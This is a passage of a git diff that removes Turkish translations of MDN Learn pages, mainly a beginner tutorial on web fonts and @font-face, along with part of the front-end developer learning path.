id="Değerlendirme_ve_daha_fazlası">Değerlendirme ve daha fazlası</h2> - -<p>Çalışmanızın değerlendirilmesini istiyorsanız veya takılıp kaldıysanız yardım isteyebilirsiniz.</p> - -<ol> - <li>Çalışmanızı <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, veya <a href="https://glitch.com/">Glitch</a> gibi çevrimiçi paylaşılabilir bir düzenleyeiciye koyun.</li> - <li><a href="https://discourse.mozilla.org/c/mdn/learn">MDN söyleşi/öğrenme forumu kategorisinde</a> değerlendirme ve/veya yardım isteyen bir yazı gönderin. Gönderi şunları içermelidir: - <ul> - <li>"Okulun ana sayfasını düzenlemek için istenen değerlendirme" gibi açıklayıcı bir başlık.</li> - <li>halihazırda denedikleriniz ve biden ne yapmamızı istediğinizle ilgili ayrıntılar, örneğin, takılıp kaldıysanız ve yardıma ihtiyacınız varsa veya bir değerlendirme istiyosanız.</li> - <li>Değerlendirilmesini istediniz veya yarımda ihtiyaç duyduğunuz önreğin bir çevrimiçi paylaşılabillir düzenleyicide bulunan bağlantısı (yukarıdaki 1.adımda belitildiği gibi). Bu, içine girmek için iyi bir uygulamadır — kodunu göremiyorsanız, kodlama sorunu olan birine yardım etmek çok zordur.</li> - <li>Yardım almak istediğiniz soruyu bulabilmemiz için asıl görev veya değerlendirme sayfasına bir bağlantı.</li> - </ul> - </li> -</ol> - -<p>{{PreviousMenu("Learn/CSS/Styling_text/Web_fonts", "Learn/CSS/Styling_text")}}</p> - -<h2 id="In_this_module">In this module</h2> - -<ul> - <li><a href="/tr/docs/Öğren/CSS/Styling_text/Fundamentals">Temel metin ve yazı tipi şekilleri</a></li> - <li><a href="/tr/docs/Öğren/CSS/Styling_text/Styling_lists">Listeleri şekillendirme</a></li> - <li><a href="/tr/docs/Öğren/CSS/Styling_text/Styling_links">Bağlantıları şekillendirme</a></li> - <li><a href="/tr/docs/Öğren/CSS/Styling_text/Web_fonts">Web yazı tipleri</a></li> - <li><a href="/tr/Öğren/CSS/Styling_text/Typesetting_a_homepage">Bir topluluk okulunun ana sayfasını düzenleme</a></li> -</ul> diff --git a/files/tr/learn/css/styling_text/web_fonts/index.html b/files/tr/learn/css/styling_text/web_fonts/index.html deleted file mode 100644 index 05b000659d..0000000000 --- a/files/tr/learn/css/styling_text/web_fonts/index.html +++ /dev/null @@ -1,222 +0,0 @@ ---- -title: Web Yazı Tipleri -slug: Learn/CSS/Styling_text/Web_fonts -tags: - - '@font-face' - - Article - - Beginner - - CSS - - CSS Fonts - - Fonts - - Guide - - Learn - - Web Development - - Web Fonts Article - - Web fonts documentation - - font-family - - web fonts -translation_of: Learn/CSS/Styling_text/Web_fonts -original_slug: Öğren/CSS/Styling_text/Web_fonts ---- -<div>{{LearnSidebar}}</div> - -<div>{{PreviousMenuNext("Learn/CSS/Styling_text/Styling_links", "Learn/CSS/Styling_text/Typesetting_a_homepage", "Learn/CSS/Styling_text")}}</div> - -<p class="summary">Ünitenin ilk dersinde, yazı tiplerini ve metni şekillendirmek için kullanılan temel CSS özelliklerini keşfettik. Bu dersimizde daha da ileri gideceğiz, web yazı tiplerini ayrıntılı olarak inceleyceğiz — bunlar, daha çeşitli, özel metin stillerine izin vermek için web sayfanızla birlikte özel yazı tiplerinide kullanmanıza izin verir.</p> - -<table class="learn-box standard-table"> - <tbody> - <tr> - <th scope="row">Ön koşullar:</th> - <td>Giriş seviyesi bilgisayar kullanma, HTML temelleri(<a href="/tr/docs/Learn/HTML/Introduction_to_HTML">HTML'ye Giriş</a> bölümünü inceleyin), CSS temelleri (<a href="/tr/docs/Öğren/CSS/Introduction_to_CSS">CSS'e Giriş</a>), <a href="/tr/docs/Öğren/CSS/Styling_text/Fundamentals">CSS temel metin ve yazı tipi biçimi</a>.</td> - </tr> - <tr> - <th scope="row">Amaç:</th> - <td>Üçüncü taraf bir hizmeti kullanarak veya kendi kodunuzu yazarak bir web sayfasına web yazı tiplerini nasıl uygulayacağınızı öğrenmek</td> - </tr> - </tbody> -</table> - -<h2 id="Yazı_tipi_aileleri_özeti">Yazı tipi aileleri özeti</h2> - -<p><a href="/en-US/docs/Learn/CSS/Styling_text/Fundamentals">Temel metin ve yazı tipi stilinde</a> incelediğimiz gibi, HTML'nize uygulanan yazı tipleri {{cssxref("font-family")}} niteliği ile kontrol edilebilinir. Bu, bir veya daha fazla yazı tipi ailesi adını alır ve tarayıcı, çalıştığı sistemde mevcut olan bir yazı tipini bulana kadar bu listede ileriye doğru hareket eder:</p> - -<pre class="brush: css notranslate">p { - font-family: Helvetica, "Trebuchet MS", Verdana, sans-serif; -}</pre> - -<p>Bu sistem iyi çalışıyor, ancak geleneksel olarak web geliştiricilerinin yazı tipi seçenekleri sınırlıdır. Tüm yaygın sistemlerde kullanılabilceğini garanti edebileceğiniz yalnızca bir avuç yazı tipi vardır — <a href="/en-US/Learn/CSS/Styling_text/Fundamentals#Web_safe_fonts">Web uyumlu yazı tipleri</a>. Tercih edilen yazı tiplerini belirtmek için yazı tipi yığınını, ardından web için güvenli alternatifleri ve ardından varsayılan sistem yazı tipini belirtebilirsiniz, ancak bu tasarımlarınızın her yazı tipiyle iyi göründüğünden emin olmak için test açısından ek yük getirir.</p> - -<h2 id="Web_yazı_tipleri">Web yazı tipleri</h2> - -<p>IE sürüm 6'ya kadar çok iyi çalışan bir alternatifimiz var. Web yazı tipleri, web siteniz erişilirken indirilecek yazı tipi dosyalarını belirtmenize olanak tanıyan bir CSS özelliğidir, yani web'i destekleyen herhangi bir tarayıcı tam olarak sizin belirlediğiniz fontlara sahip olabilir. Gerekli sözdizimi şuna benzer:</p> - -<p>Her şeyden önce CSS'in başlangıcında {{cssxref("@font-face")}} ile başlayan indirilecek yazı tipi dosyalarını belirten bir bloğumuz var:</p> - -<pre class="brush: css notranslate">@font-face { - font-family: "myFont"; - src: url("myFont.woff"); -}</pre> - -<p>Bunun altında, özel yazı tipinizi normal olarak istediğiniz herhangi bir şeye uygulamak için @font-face içinde belirtilen yazı tipi ailesi adını kullanabilirsiniz:</p> - -<pre class="brush: css notranslate">html { - font-family: "myFont", "Bitstream Vera Serif", serif; -}</pre> - -<p>Sözdizimi bundan biraz daha karmaşık hale geliyor, aşağıda dahafazla ayrıntıya gireceğiz.</p> - -<p>Web yazı tiplerin hakkında akılda tutulması gereken iki önemli nokta vardır:</p> - -<ol> - <li>Tarayıcılar farklı yazı tipi biçimlerini desteklerler, bu nedenle tarayıcılar arasında daha iyi bir destek için birden çok yazı tipi biçimine ihtiyacınız olacaktır. Örneğin, çoğu modern tarayıcı, piyasadaki en verimli biçim olan WOFF/WOFF2'yi (Web Açık Yazı Tipi Biçimi sürüm 1 ve 2) destekler, ancak IE'nin eski sürümleri yalnızca EOT(Gömülü Açık Tip) yazı tiplerini destekler ve iPhone ve Android tarayıcıların eski sürümlerini desteklemek için yazı tipinin bir SVG sürümünü eklemeniz gerekebilir. Gerekli kodu nasıl oluşturacağınızı aşağıda göstereceğiz.</li> - <li>yazı tiplerinin kullanımı genellikle ücretsiz değildir. bunlar için ödeme yapmanız ve/veya yazı tipi oluşturucuyu kodda (veya sitenizde) belirtmek gibi diğer lisa ns koşullarını izlemeniz gerekir. Yazı tiplerini çalmamalı ve uygun şekilde kredi vermeden kullanmamalısınız.</li> -</ol> - -<div class="note"> -<p><strong>Not</strong>: Bir teknoloji olarak Web yazı tipleri, sürüm 4'ten beri Internet Explorer'da desteklenmektedir.</p> -</div> - -<p>Web yazı tipi olsun yada olmasın, sayfanızda kullanılan yazı tiplerini araştırmak ve değiştirmek için <a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Edit_fonts">Firefox yazı tipi düzenleyicisini</a> kullanabilirsiniz. Bu video güzel bir yol sunar:</p> - -<p>{{EmbedYouTube("UazfLa1O94M")}}</p> - -<h2 id="Aktif_öğrenme_Bir_web_yazı_tipi_örneği">Aktif öğrenme: Bir web yazı tipi örneği</h2> - -<p>İlk ilkelerden temel bir web yazı tipi örneği oluşturalım. Gömülü bir canlı örnek kullanarak bunu göstermek zordur, bu nedenle, süreç hakkında bir fikir edinmek için aşağıdaki bölümlerde ayrıntılı olarak açıklanan adımları izlemenizi öneririz.</p> - -<p>Kullanmanız için size iki örnek dosya; <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/web-font-start.html">web-font-start.html</a> ve <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/web-font-start.css">web-font-start.css</a> (<a href="http://mdn.github.io/learning-area/css/styling-text/web-fonts/web-font-start.html">canlı örneği</a> görebilirsiniz). Bu dosyaları bilgisayarınızda bir dizine kopyalayın. <code>web-font-start.css</code> dosya örneğinin içerisinde temel düzen için bazı CSS'ler bulabilirsiniz.</p> - -<h3 id="Yazı_tipi_bulmak">Yazı tipi bulmak</h3> - -<p>Bu örnek için, biri başlıklar ve diğeri gövde metni için olmak üzere iki web fontu kullanacağız. Başlangıç olarak, yazı tiplerini içeren yazı tipi dosyalarını bulmamız gerekiyor. Yazı tipleri, yazı tipi dökümhaneleri tarafından oluşturulur ve farklı dosya formatlarında saklanır. yazı tiplerini edinebileceğiniz genellikle üç tür site vardır:</p> - -<ul> - <li>Ücretsiz bir yazı tipi dağıtıcısı: Bu, ücretsiz yazı tiplerini indirilebilir hale getiren bir sitedir (yazı tipi oluşturucusuna atıfta bulunmak gibi bazı lisans koşulları hala olabilir). Örnek siteler arasında <a href="https://www.fontsquirrel.com/">Font Squirrel</a>, <a href="http://www.dafont.com/">dafont</a>, ve <a href="https://everythingfonts.com/">Everything Fonts</a> sayılabilir.</li> - <li>Ücretli bir yazı tipi dağıtıcısı: Bu, yazı tiplerini <a href="http://www.fonts.com/">fonts.com</a> veya <a href="http://www.myfonts.com/">myfonts.com</a> gibi ücret karşılığında kullanıma sunan siteler sayılabilir. Yazı tiplerini, <a href="https://www.linotype.com/">Linotype</a>, <a href="http://www.monotype.com">Monotype</a>, veya <a href="http://www.exljbris.com/">Exljbris</a> gibi doğrudan yazı tipi dökümhanelerinden de satın alabilirsiniz.</li> - <li>Çevrim içi yazı tipi hizmeti: Bu, yazı tiplerini sizin için saklayan, sunan ve tüm süreci kolaylaştıran bir sitedir. Daha fazla ayrıntı için {{anch("Using an online font service")}} bölümüne bakın.</li> -</ul> - -<p>Biraz yazı tipi bulalım! <a href="https://www.fontsquirrel.com/">Font Squirrel</a> sitesine gidelim ve iki adet font seçelim — başlıklar için ilginç ve gösterişli bir yazı tipi ve paragraflar içinde daha okunabilir bir yazı tipi. Her bir yazı tipini bulduğunuzda, indirme düşmesine basın ve dosyayı daha önce kaydettiğiniz HTML ve CSS dosyalarının bulunduğu dizine kaydedin. TTF (True Type Fontlar) veya OTF (Open Type Fontlar) olması önemli değil.</p> - -<p>Her durumda, yazı tipi paketini açın (Web yazı tipleri genellikle yazı tipi dosyalarını ve lisans bilgilerini içeren ZIP dosyalarında dağıtılır). Pakette birden fazla yazı tipi dosyası bulabilirsiniz — bazı yazı tipleri, örneğin ince, orta, kalın, italik, ince italik vb. gibi farklı şekillere sahip aile olarak dağıtılır. Bu örnek için, yalnızca her seçim için bir yazı tipi dosyası yeterli.</p> - -<div class="note"> -<p><strong>Not</strong>: Sağ taraftaki sütunda "Yazı tiplerini bul" bölümü altında, görüntülenen seçenekleri filtrelemek için farklı etiketlere ve sınıflandırmalara tıklayabilirsiniz.</p> -</div> - -<h3 id="Gerekli_kodun_oluşturulması">Gerekli kodun oluşturulması</h3> - -<p>Şimdi gerekli kodu (ve yazı tipi formatlarını) oluşturmanız gerekecek. Her yazı tipi için şu adımları izleyin:</p> - -<ol> - <li>Bunu ticari bir projede ve/veya Web projesinde kullanacaksanız, herhangi bir lisans gereksinimini karşıladığınızdan emin olun.</li> - <li>Fontsquirrel <a href="https://www.fontsquirrel.com/tools/webfont-generator">Web yazı tipi oluşturucuya</a> gidin.</li> - <li>Yazı Tiplerini Yükle düşmesini kullanarak iki yazı tipi dosyanızı web sitesine yükleyin.</li> - <li>"Evet, yüklediğim yazı tipleri yasal olarak web yerleştirmeye uygun" etiketli onay kutusunu işaretleyin.</li> - <li>Kitinizi indirin.</li> -</ol> - -<p>Oluşturucu işlemeyi bitirdikten sonra, indirilecek bir ZIP dosyası almalısınız — HTML ve CSS'nizle aynı dizine kaydedin.</p> - -<h3 id="Kodu_demonuza_uygulamak">Kodu demonuza uygulamak</h3> - -<p>Bu noktada, oluşturduğunuz web yazı tipi kitini açın. Sıkıştırılmamış dizinin içinde üç yararlı öğe göreceksiniz.</p> - -<ul> - <li>Har yazı tipinin çoklu sürümleri:(örn, <code>.ttf</code>, <code>.woff</code>, <code>.woff2</code>, vb. tarayıcı desteği gereksinimleri değiştikçe yazı tipleri zamanla güncellenecektir) Yukarıda belirtildiği gibi, tarayıcılar arası destek için birden fazla yazı tipi gereklidir — bu, Fontsquirrel'ın ihtiyacınız olan her şeye sahip olduğunudan emin olmanın faydalı bir yoludur.</li> - <li>Her yazı tipi için bir demo HTML dosyası — yazı tipinin farklı kullanım bağlamlarında nasıl görüneceğini görmek için bunlar tarayıcınıza yükleyin.</li> - <li><code>stylesheet.css</code> ihtiyaç duyacağınız @font-face kodunu içeren bir dosya.</li> -</ul> - -<p>Bu yazı tiplerini sayfanıza uygulamak için şu adımları izleyin:</p> - -<ol> - <li>Sıkıştırılmış dosyayı klasöre açın, örn <code>fonts</code>.</li> - <li><code>stylesheet.css</code> dosyasını açın ve her iki <code>@font-face</code> kod bloğunu <code>web-font-start.css</code> dosyanıza kopyalayın. Yazı tiplerinin sitenizde kullanmadan önce içe aktarılması gerektiğinden, bunları CSS'nizden önce en üste koymanız gerekir.</li> - <li><code>url()</code> işlevlerin her biri, CSS'mize aktarmak istediğimiz bir yazı tipi dosyasına işaret eder. Dosyalara giden yolların doğru olduğundan emin olamanız gerekir. Bizim durumumuzda her yolun başına <code>fonts/</code> eklmeyi unutmayın.</li> - <li>Artık bu yazı tiplerini, herhangi bir web uyumlu veya varsayılan sistem yazı tipi gibi yazı tipi yığınlarınızda kullanabilirsiniz. Örn: - <pre class="brush: css notranslate">font-family: 'zantrokeregular', serif;</pre> - </li> -</ol> - -<p>Üzerinde bazı güzel yazı tiplerinin uygulandığı bir demo sayfası bulmalısınız. Farklı yazı tipleri farklı boyutlarda oluşturulduğundan, görünümü ve hissi verebilmek için boyutu, aralığı vb. durumları ayarlamanız gerekebilir.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/12984/web-font-example.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p> - -<div class="note"> -<p><strong>Not</strong>: Bunu çalıştırmakta sorun yaşarsanız, sürümünüzü bitmiş dosyalarımızla karşılaştırmaktan çekinmeyin — <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/web-font-finished.html">web-font-finished.html</a> ve <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/web-font-finished.css">web-font-finished.css</a> (<a href="http://mdn.github.io/learning-area/css/styling-text/web-fonts/web-font-finished.html">bitmiş örneği canlı çalıştırın</a>).</p> -</div> - -<h2 id="Çevrimiçi_bir_yazı_tipi_hizmeti_kullanma">Çevrimiçi bir yazı tipi hizmeti kullanma</h2> - -<p>Çevrimiçi yazı tipi hizmetleri genellikle yazı tiplerini sizin için depolar ve sunar, bu nedenle <code>@font-face</code> kodu yazma konusunda endişelenmenize gerek kalmaz ve genellikle her şeyin çalışması için sitenize basit bir veya iki satır kod eklemeniz gerekir. Örnekler arasında <a href="https://fonts.adobe.com/">Adobe Fonts</a> ve <a href="http://www.typography.com/cloud/welcome/">Cloud.typography</a> bulunur. Bu hizmetlerin çoğu, test ve demolar için kullanışlı ve ücresiz bir hizmet olan <a href="https://www.google.com/fonts">Google Fonts</a> dışında, abonelik tabanlıdır.</p> - -<p>Bu hizmetlerin kullanımı kolaydır, bu nedenle onları ayrıntılı olarak ele alacağız. Google yazı tiplerine hızlıca bir göz atalım, böylece fikir edinebilirisiniz. Yine, başlangıç noktanız olarak <code>web-font-start.html</code> ve <code>web-font-start.css</code> dosyalarının birer kopyalarını kullanalım.</p> - -<ol> - <li><a href="https://fonts.google.com/">Google Fonts</a>'a gidin.</li> - <li>Sevdiğiniz birkaç yazı tipini seçmek için filtreleri kullanın.</li> - <li>Seçmek istediğiniz yazı tipi ailesine tıklayın.</li> - <li>Yazı tipi ailesindeki yazı tiplerinin listelenecek.</li> - <li>Her yazı tipinin sağındaki "+ Select this style" tıkladığınızda sağda açılan "Selected family" ekranında (eğer açılmazsa sayfadaki sağ üsttü bulunan <img alt="" style="height: 24px; width: 24px;"> butonuna tıklayın) ilk önce gösterilen HTML kod satırını kopyalayıp HTML dosyanızın başına yapıştırmanız gerekir. CSS'nizde kullanmadan önce HTML sayfanızda CSS'inizden önce tanımlanması gerekir. Daha sonra kendi stil kodunuzu veya dosyanızı eklemelisiniz.</li> - <li>Daha sonra özel yazı tiplerini HTML'nize uygulamak için CSS'nizde listelenen CSS bildirimlerini uygun şekilde kopyalamanız/yazmanız gerekir.</li> -</ol> - -<div class="note"> -<p><strong>Not</strong>:Tamamlanmış bir sürümü <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/google-font.html">google-font.html</a> ve <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/google-font.css">google-font.css</a> adreslerinde bulabilirsiniz, eğer çalışmanızı bizimkilerle karşılaştırmak isterseniz <a href="http://mdn.github.io/learning-area/css/styling-text/web-fonts/google-font.html">canlı örneğe bir göz atın</a>.</p> -</div> - -<h2 id="font-face_daha_ayrıntılı_olarak_bakalım">@font-face daha ayrıntılı olarak bakalım</h2> - -<p>Fontsquirrel tarafından olşturulan <code>@font-face</code> kural bildirimini inceleyelim.</p> - -<p>Bloklardan biri şuna benzemektedir:</p> - -<pre class="brush: css notranslate">@font-face { - font-family: 'ciclefina'; - src: url('fonts/cicle_fina-webfont.eot'); - src: url('fonts/cicle_fina-webfont.eot?#iefix') format('embedded-opentype'), - url('fonts/cicle_fina-webfont.woff2') format('woff2'), - url('fonts/cicle_fina-webfont.woff') format('woff'), - url('fonts/cicle_fina-webfont.ttf') format('truetype'), - url('fonts/cicle_fina-webfont.svg#ciclefina') format('svg'); - font-weight: normal; - font-style: normal; -}</pre> - -<p>Bu "bulletproof @font-face sözdizimi", <code>@font-face</code> popüler olmaya başladığında Paul Irish tarafından yapılan bir gönderiden sonra (<a href="https://www.paulirish.com/2009/bulletproof-font-face-implementation-syntax/">Bulletproof @font-face Syntax</a>) olarak anılır. Ne yaptığını görmek için üzerinden geçelim:</p> - -<ul> - <li><code>font-family</code>: bu satır, yazı tipine atıfta bulunmak istediğimiz adı belirler. CSS'inizde tutarlı bir şekilde kulllandığınız sürece bunu istediğiniz şekilde belirleyebilirsiniz.</li> - <li><code>src</code>: Bu satırlar, CSS'inize (<code>url</code> bölümü) aktarılacak yazı tipi dosyalarının yollarını ve her bir yazı tipi dosaysının (<code>format</code> bölümü) formatını belirtir. Her durumda ikinci bölüm isteğe bağlıdır, ancak tarayıcıların daha hızlı kullanabilecekleri bir yazı tipi bulmasına izin verdiği için bunu açıklamak yararlıdır. Birden çok bildirim, virgülle ayrılmış olarak listelenebilir — WOFF2 gibi daha yeni daha iyi formatları öne, TTF gibi daha eski ve çok iyi olmayan formatları daha sonra koymak en iyisidir. Bunun tek istisnası, EOT yazı tipleridir — IE'nin eski sürümlerindeki birkaç hatayı düzeltmek için ilk olarak yerleştirilirler ve bu sayede bulduğu ilk yazı tipini kullanmaya çalışır.</li> - <li>{{cssxref("font-weight")}}/{{cssxref("font-style")}}: Bu satırlar, yazı tipinin hangi ağırlığa sahip olduğunu ve italik olup olmadığını belirtir. Aynı yazı tipinin birden çok ağırlığını içe aktarıyorsanız, yazı tipi ailesinin tüm farklı üyelerini farklı adlar olarak adlandırmak yerine, ağırlıklarının/stillerinin ne olduğu belirleyebilir ve sonra aralarında seçim yapmak için farklı {{cssxref("font-weight")}}/{{cssxref("font-style")}} nitelik değerlerini kullanabilirsiniz. <a href="http://www.456bereastreet.com/archive/201012/font-face_tip_define_font-weight_and_font-style_to_keep_your_css_simple/">@font-face tip: CSS'nizi basit tutmak için yazı tipi ağırlığını ve yazı tipi stilini tanımlayın</a> ile Roger Johansson ne yapmanız gerektiğini daha ayrıntılı olarak gösteriyor.</li> -</ul> - -<div class="note"> -<p><strong>Not</strong>: Web yazı tipleriniz için belirli {{cssxref("font-variant")}} ve {{cssxref("font-stretch")}} değerleri de belirtebilirsiniz. Daha yeni tarayıcılarda, {{cssxref("unicode-range")}} niteliği ile web yazı tipinde kullanmak istediğiniz belirli bir karakter aralığı olan bir değer de belirteblirsiniz — destekleyen tarayıcılar da, yalnızca belirtilen karakterler indirilecek ve gereksiz indirme yapılmayacaktır. Drew McLellan tarafından yayınlanan <a href="https://24ways.org/2011/creating-custom-font-stacks-with-unicode-range/">Creating Custom Font Stacks with Unicode-Range</a> makalesinde bundan nasıl yararlanılacağına dair yararlı fikirler bulacaksınız.</p> -</div> - -<h2 id="Değişken_yazı_tipleri">Değişken yazı tipleri</h2> - -<p>Tarayıcılarda değişken yazı tipi adı verilen daha yeni bir yazı tipi teknolojisi vardır — bunlar, her genişlik, ağırlık veya stil için ayrı bir yazı tipi dosayasına sahip olmak yerine, bir yazı tipinin birçok farklı varyasyonunun tek bir dosyaya dahil edilmesine izin veren yazı tipleridir. Başlangıç dersimiz için biraz ileri düzeydedirler, ancak kendinizi esnetmek ve geliştirmek istiyorsanız <a href="/en-US/docs/Web/CSS/CSS_Fonts/Variable_Fonts_Guide">Değişken yazı tipleri klavuzumuzu</a> okuyabilirsiniz.</p> - -<h2 id="Becerilerinizi_test_edin!">Becerilerinizi test edin!</h2> - -<p>Bu dersimizin sonuna geldik ve aktif öğrenme bölümlerimizde zaten bazı beceri tesleri yaptınız, ancak ileriye dönük en önemli bilgileri hatırlıyor musunuz? Modülün sonunda bu bilgileri sakladğınızı doğrulamak için bir değerlendirme bulabilirsiniz - bkz. <a href="/en-US/docs/Learn/CSS/Styling_text/Typesetting_a_homepage">Bir topluluk okulunun ana sayfasını düzenleme</a>.</p> - -<h2 id="Özet">Özet</h2> - -<p>Artık metin biçimlendirme temelleri hakkındaki makalelerimizi incelediğinize göre, topluluk okulu anasayfası olan Dizgi oluşturma modülüne yönelik değerlendirmemizle anlamanızı test etme zamanı.</p> - -<p>{{PreviousMenuNext("Learn/CSS/Styling_text/Styling_links", "Learn/CSS/Styling_text/Typesetting_a_homepage", "Learn/CSS/Styling_text")}}</p> - -<h2 id="Bu_ünitede">Bu ünitede</h2> - -<ul> - <li><a href="/tr/docs/Öğren/CSS/Styling_text/Fundamentals">Temel metin ve yazı tipi şekilleri</a></li> - <li><a href="/tr/docs/Öğren/CSS/Styling_text/Styling_lists">Listeleri şekillendirme</a></li> - <li><a href="/tr/docs/Öğren/CSS/Styling_text/Styling_links">Bağlantıları şekillendirme</a></li> - <li><a href="/tr/docs/Öğren/CSS/Styling_text/Web_fonts">Web yazı tipleri</a></li> - <li><a href="/tr/Öğren/CSS/Styling_text/Typesetting_a_homepage">Bir topluluk okulunun ana sayfasını düzenleme</a></li> -</ul> diff --git a/files/tr/learn/front-end_web_developer/index.html b/files/tr/learn/front-end_web_developer/index.html deleted file mode 100644 index ca34c15067..0000000000 --- a/files/tr/learn/front-end_web_developer/index.html +++ /dev/null @@ -1,199 +0,0 @@ ---- -title: Front-end web developer -slug: Learn/Front-end_web_developer -tags: - - Araçlar - - Başlangıç - - CSS - - HTML - - JavaScript - - Web Standartları - - Ön Uç - - Öğrenme -translation_of: Learn/Front-end_web_developer -original_slug: Öğren/Front-end_web_developer ---- -<p>{{learnsidebar}}</p> - -<p>Ön uç geliştirici öğreticimize hoş geldiniz!</p> - -<p>Burada size, ön uç geliştirici olabilmeniz için bilmeniz gereken her şeyi içeren yapılandırılmış bir kurs sunuyoruz.Her bölüm üzerinde çalışın, ilerledikçe yeni beceriler kazanın. (ya da var olan becerilerinizi geliştirin) Her bölümde, diğer bölüme geçmeden önce bilginizi ölçen alıştırma veya değerlendirmeler içerir.</p> - -<h2 id="Kapsanan_Konular">Kapsanan Konular</h2> - -<p>Kapsanan konular şöyledir:</p> - -<ul> - <li>Basit kurulum ve çalışma metodu</li> - <li>Web standartları ve en iyi uygulamalar (erişilebilirlik ve web tarayıcıları ile uyumluluk gibi)</li> - <li>HTML, web içeriğinin yapısını ve anlamını veren bir işaretleme dili</li> - <li>CSS, web sayfalarının biçimlendirmesini sağlayan dil</li> - <li>JavaScript, webde dinamik fonksiyonlar oluşturmak için kullanılan script dilidir</li> - <li>Modern web istemci tarafı kullanılan araçlar.</li> -</ul> - -<p>Bölümler arasında sırayla da çalışabilirsiniz, tüm bölümler birbirinden bağımsızdır. Örnek olarak; HTML biliyorsanız direkt olarak CSS bölümüne geçebilirsiniz.</p> - -<h2 id="Önkoşullar">Önkoşullar</h2> - -<p>Bu kursa başlamanız için önceden herhangi bir bilg birikiminizin olmasına gerek yok. Tüm ihtiyacınız; modern web tarayıcılarını çalıştırabilen bir bilgisayar, internet bağlantısı ve güçlü bir öğrenme arzusu.</p> - -<p>Ön uç geliştirici olmanın size uygun olmayacağını düşünüyorsanız ya da daha basit bir şekilde temelden öğrenmek istiyorsanız, <a href="/en-US/docs/Learn/Getting_started_with_the_web">Web ile başlama</a> modülümüzü kullanabilirsiniz.</p> - -<h2 id="Yardım_istemek">Yardım istemek</h2> - -<p>Ön uç web geliştirmeyi öğrenmeyi olabildiğince rahat ve anlaşılır bir şekilde ele aldık, ancak takıldığınız yerler ya da çalışmayan kodlar olacaktır.</p> - -<p>Panik yapmayın. İster yeni başlayan biri olun ya da daha profesyonel biri olun, hepimiz takılıp kalırız.<a href="/en-US/docs/Learn/Learning_and_getting_help"> Öğrenme ve yardım alma</a> makalemiz, kendinize yardım aramak ve bilgi edinmek için bir dizi ipucu sağlar. Eğer hâlâ sorun yaşıyorsanız lütfen <a href="https://discourse.mozilla.org/c/mdn/learn/">Söylem forumumuza</a> yazmaktan çekinmeyin.</p> - -<p>Hadi başlayalım. İyi şanslar!</p> - -<h2 id="Öğrenme_Yolu">Öğrenme Yolu</h2> - -<h3 id="Başlangıç">Başlangıç</h3> - -<p>Tamamlama süresi: 1.5–2 saat</p> - -<h4 id="Önkoşullar_2">Önkoşullar</h4> - -<p>Temel bilgisayar bilgisi, okuryazarlığı dışında hiçbir şey.</p> - -<h4 id="Devam_etmeye_hazır_olduğumu_nasıl_bileceğim">Devam etmeye hazır olduğumu nasıl bileceğim?</h4> - -<p>Kursun bu bölümünde herhangi bir değerlendirme yoktur. Fakat atlamadığınızdan emin olun.Bu, kursun ilerleyen bölümlerindeki alıştırmalar için hazırlanmanızı ve çalışmaya hazır olmanızı sağlamak için önemlidir.</p> - -<h4 id="Kılavuzlar">Kılavuzlar</h4> - -<ul> - <li><a href="/en-US/docs/Learn/Getting_started_with_the_web/Installing_basic_software">Temel yazılımı yükleme</a>— temel araç kurulumu (15 dakika okuma)</li> - <li><a href="/en-US/docs/Learn/Getting_started_with_the_web/The_web_and_web_standards">Webin arka plan ve webin standartları hakkında</a> (45 dakika okuma)</li> - <li><a href="/en-US/docs/Learn/Learning_and_getting_help">Öğrenme ve yardım alma</a> (45 dakika okuma)</li> -</ul> - -<h3 id="HTML_ile_semantik_ve_yapı">HTML ile semantik ve yapı</h3> - -<p>Tamamlama süresi: 35–50 saat</p> - -<h4 id="Önkoşullar_3">Önkoşullar</h4> - -<p>Temel bilgisayar okuryazarlığı ve temel bir web geliştirme ortamı dışında hiçbir şey.</p> - -<h4 id="Devam_etmeye_hazır_olduğumu_nasıl_bileceğim_2">Devam etmeye hazır olduğumu nasıl bileceğim?</h4> - -<p>Her modüldeki değerlendirmeler, konuyla ilgili bilginizi test etmek için tasarlanmıştır. Değerlendirmeleri başarıyla tamamlamak, bir sonraki modüle geçmeye hazır olduğunuzu onaylar.</p> - -<h4 id="Modüller">Modüller</h4> - -<ul> - <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML'ye giriş</a> (15–20 saat okuma/alıştırmalar)</li> - <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding">Multimedya ve yerleştirme</a> (15–20 saat okuma/alıştırmalar)</li> - <li><a href="/en-US/docs/Learn/HTML/Tables">HTML tabloları </a>(5–10 saat okuma/alıştırmalar)</li> -</ul> - -<h3 id="CSS_ile_stil_ve_düzen">CSS ile stil ve düzen</h3> - -<p>Tamamlama süresi: 90–120 saat</p> - -<h4 id="Önkoşullar_4">Önkoşullar</h4> - -<p>CSS'e başlamadan önce temel HTML bilgisine sahip olmanız önerilir. En azından <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML'ye Giriş</a> kısmını okuyabilirsin.</p> - -<h4 id="Devam_etmeye_hazır_olduğumu_nasıl_bileceğim_3">Devam etmeye hazır olduğumu nasıl bileceğim?</h4> - -<p>Her modüldeki değerlendirmeler, konuyla ilgili bilginizi test etmek için tasarlanmıştır. Değerlendirmeleri başarıyla tamamlamak, bir sonraki modüle geçmeye hazır olduğunuzu onaylar.</p> - -<h4 id="Modüller_2">Modüller</h4> - -<ul> - <li><a href="/en-US/docs/Learn/CSS/First_steps">CSS'in ilk adımları</a> (10–15 saat okuma/alıştırmalar)</li> - <li><a href="/en-US/docs/Learn/CSS/Building_blocks">CSS'in yapı taşları</a> (35–45 saat okuma/alıştırmalar)</li> - <li><a href="/en-US/docs/Learn/CSS/Styling_text">Metin şekillendirme</a> (15–20 saat okuma/alıştırmalar)</li> - <li><a href="/en-US/docs/Learn/CSS/CSS_layout">CSS düzeni 